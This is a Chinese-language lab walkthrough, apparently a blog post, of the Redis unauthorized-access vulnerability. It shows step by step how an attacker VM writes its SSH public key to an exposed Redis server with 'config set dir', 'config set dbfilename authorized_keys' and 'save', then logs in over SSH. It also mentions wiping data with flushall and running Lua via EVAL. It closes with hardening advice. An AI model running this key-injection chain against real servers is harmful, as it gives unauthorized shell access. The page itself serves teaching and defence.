Redis在默認狀況下,會綁定在0.0.0.0:6379
。若是沒有采起相關的安全策略,好比添加防火牆規則、避免其餘非信任來源IP訪問等,這樣會使Redis服務徹底暴露在公網上。若是在沒有設置密碼認證(通常爲空)的狀況下,會致使任意用戶在訪問目標服務器時,能夠在未受權的狀況下訪問Redis以及讀取Redis的數據。攻擊者在未受權訪問Redis的狀況下,利用Redis自身的提供的config命令,能夠進行文件的讀寫等操做。攻擊者能夠成功地將本身的ssh公鑰寫入到目標服務器的 /root/.ssh
文件夾下的authotrized_keys
文件中,進而可使用對應地私鑰直接使用ssh服務登陸目標服務器。python
簡單來說,咱們能夠將漏洞的產生歸結爲兩點:linux
redis綁定在
0.0.0.0:6379
,且沒有進行添加防火牆規則、避免其餘非信任來源IP訪問等相關安全策略,直接暴露在公網上redis沒有設置密碼認證(通常爲空),能夠免密碼遠程登陸redis服務ubuntu
漏洞可能產生的危害:vim
攻擊者無需認證訪問到內部數據,可能致使敏感信息泄露,黑客也能夠經過惡意執行
flushall
來清空全部數據安全攻擊者可經過EVAL執行lua代碼,或經過數據備份功能往磁盤寫入後門文件服務器
若是Redis以root身份運行,黑客能夠給root帳戶寫入SSH公鑰文件,直接經過SSH登陸受害者服務器ssh
既然咱們已經知道了攻擊手法,那麼咱們該如何實現這一漏洞的利用呢?測試
兩臺主機(這裏我選擇的是兩臺虛擬機,一臺用的是Ubuntu,一臺用的是Kali Linux)ui
wget http://download.redis.io/releases/redis-3.2.11.tar.gz
tar xzf redis-3.2.11.tar.gz
cd redis-3.2.11
,輸入make
並執行出現以下即編譯成功:
make
結束後,進入src
目錄:cd src
,將redis-server和redis-cli拷貝到/usr/bin
目錄下(這樣啓動redis-server和redis-cli就不用每次都進入安裝目錄了)你可能會碰到以下問題:
python@ubuntu:~/Desktop/redis-3.2.11/src$ sudo cp redis-server /usr/bin/ cp: 沒法建立普通文件'/usr/bin/redis-server': 文本文件忙
這個時候你先去檢查/usr/bin
目錄下是否已經存在redis-server,若是不存在的話,咱們選擇中止服務:
python@ubuntu:~/Desktop/redis-3.2.11/src$ redis-cli -h 127.0.0.1 -p 6379 shutdown
或者直接殺死進程就行了:
python@ubuntu:~/Desktop/redis-3.2.11/src$ sudo kill -9 PID
咱們再啓動服務就行了~
python@ubuntu:~/Desktop/redis-3.2.11/src$ redis-server
此時咱們再檢查下/usr/bin
目錄下是否有redis-cli和redis-server:
python@ubuntu:~$ ls /usr/bin | grep redis
/etc/
目錄下python@ubuntu:~/Desktop/redis-3.2.11$ sudo cp redis.conf /etc/
python@ubuntu:~/Desktop/redis-3.2.11$ vim /etc/redis.conf
去掉ip綁定,容許除本地外的主機遠程登陸redis服務:
關閉保護模式,容許遠程鏈接redis服務:
/etc/
目錄下的redis.conf文件中的配置啓動redis服務root@kali:~/桌面/redis-3.2.11# redis-server /etc/redis.conf
這裏我又踩了一個大坑,我遇到了這樣一個問題:
python@ubuntu:~/Desktop/redis-3.2.11/src$ redis-server /etc/redis.conf *** FATAL CONFIG FILE ERROR *** Reading the configuration file, at line 80 >>> 'protected-mode no' Bad directive or wrong number of arguments
這個問題困擾了我好久,後面驚奇的發現,是由於redis.conf和當前版本的redis不匹配形成的問題,當前Ubuntu的Redis版本是3.0.6,而redis.conf的版本是3.2.11,後面才知道是由於我Ubuntu裏面已經裝過Redis形成的,解決方法以下:
卸載老版本redis-server:
sudo apt-get remove redis-server
因爲以前已經下載了redis-3.2.11的版本,因此咱們直接make就行了,照着上面的步驟從新來一遍就OK了。
咱們能夠看到,版本對應上去了,都是3.2.11,也可以完成reids.conf文件中的配置啓動redis服務。
因爲Ubuntu和Kali Linux已經安裝有ssh服務,但默認沒有啓動,需使用systemctl start sshd
命令啓動ssh服務。
那麼咱們該怎麼肯定有沒有安裝ssh服務呢?你嘗試一下service sshd start
命令:
fauked to start sshd.service: Unit sshd.service not found
若是出現上述結果時,說明你的虛擬機沒有安裝ssh服務,此時你須要運行如下命令安裝ssh服務:
sudo apt-get install openssh-server
再次運行如下命令確認ssh服務是否開啓:
ps -e | ssh 最後顯示:3228 ? 00:00:00 sshd說明ssh服務器已啓用
咱們讓這兩臺虛擬主機配置相同的Redis環境,一臺做爲受害者的靶機,一臺做爲攻擊者的主機。
至此,咱們已經成功搭建完成了漏洞利用的環境,此時的redis服務是能夠以root用戶身份遠程免密碼登陸的。
ifconfig
測試一下兩臺主機的IP地址咱們能夠看到,Ubuntu的IP地址是192.168.152.133,Kali Linux的IP地址是192.168.152.131,因此咱們不須要修改任何東西,但若是IP地址相同,咱們修改其中一臺虛擬機的IP:
ifconfig 網卡名稱(好比ens33) 咱們要修改爲的IP地址(好比192.168.152.135) up
咱們必須保證兩臺主機可以相互ping通
redis-server /etc/redis.conf
mkdir /root/.ssh
命令,建立ssh公鑰存放目錄(A是做爲ssh服務器使用的).ssh
目錄:cd .ssh/
,將生成的公鑰保存到kitty.txt
root@kali:~/.ssh# (echo -e "\n\n";cat id_rsa.pub; echo -e "\n\n") > kitty.txt
kitty.txt
寫入redis(使用redis-cli -h IP
命令鏈接主機A,將文件寫入)root@kali:~/.ssh# cat kitty.txt | redis-cli -h 192.168.152.133 -x set crack OK
redis-cli -h 192.168.0.146
並使用config get dir
命令獲得redis備份的路徑root@kali:~/.ssh# redis-cli -h 192.168.152.133 192.168.152.133:6379> config get dir 1) "dir" 2) "/home/python/.ssh"
/root/.ssh
,這裏我沒有登陸root用戶,我登陸的用戶名是python,因此Ubuntu的默認路徑是/home/python/.ssh
,因此不須要更改)authorized_keys
192.168.152.133:6379> config set dbfilename authorized_keys OK
authorized_keys
文件),沒有問題就保存而後退出,至此,咱們成功地寫入ssh公鑰到靶機上192.168.152.133:6379> config get dbfilename 1) "dbfilename" 2) "authorized_keys" 192.168.152.133:6379> save OK 192.168.152.133:6379> exit
systemctl start sshd.service
root@kali:~/.ssh# ssh -i id_rsa python@192.168.152.133
很明顯,咱們已經登陸成功了!至此,咱們成功地利用redis未受權訪問漏洞實現了ssh免密登陸到目標服務器上。
咱們能夠經過修改redis.conf文件來禁用遠程修改DB文件地址
rename-command FLUSHALL "" rename-command CONFIG "" rename-command EVAL ""
爲Redis服務建立單獨的user
和home
目錄,而且配置禁止登錄
groupadd -r redis && useradd -r -g redis redis
咱們能夠經過修改redis.conf文件來爲Redis添加密碼驗證
requirepass mypassword
咱們能夠經過修改redis.conf文件來使得Redis服務只在當前主機可用
bind 127.0.0.1
爲了保證安全,您應該阻止其餘用戶添加新的公鑰。將authorized_keys
的權限設置爲對擁有者只讀,其餘用戶沒有任何權限
chmod 400 ~/.ssh/authorized_keys
爲保證authorized_keys
的權限不會被改掉,您還須要設置該文件的immutable位權限
chattr +i ~/.ssh/authorized_keys
然而,用戶還能夠重命名~/.ssh
,而後新建新的~/.ssh
目錄和authorized_keys
文件。要避免這種狀況,須要設置~./ssh
的immutable位權限
chattr +i ~/.ssh
若是須要添加新的公鑰,須要移除authorized_keys
的 immutable 位權限。而後,添加好新的公鑰以後,按照上述步驟從新加上immutable位權限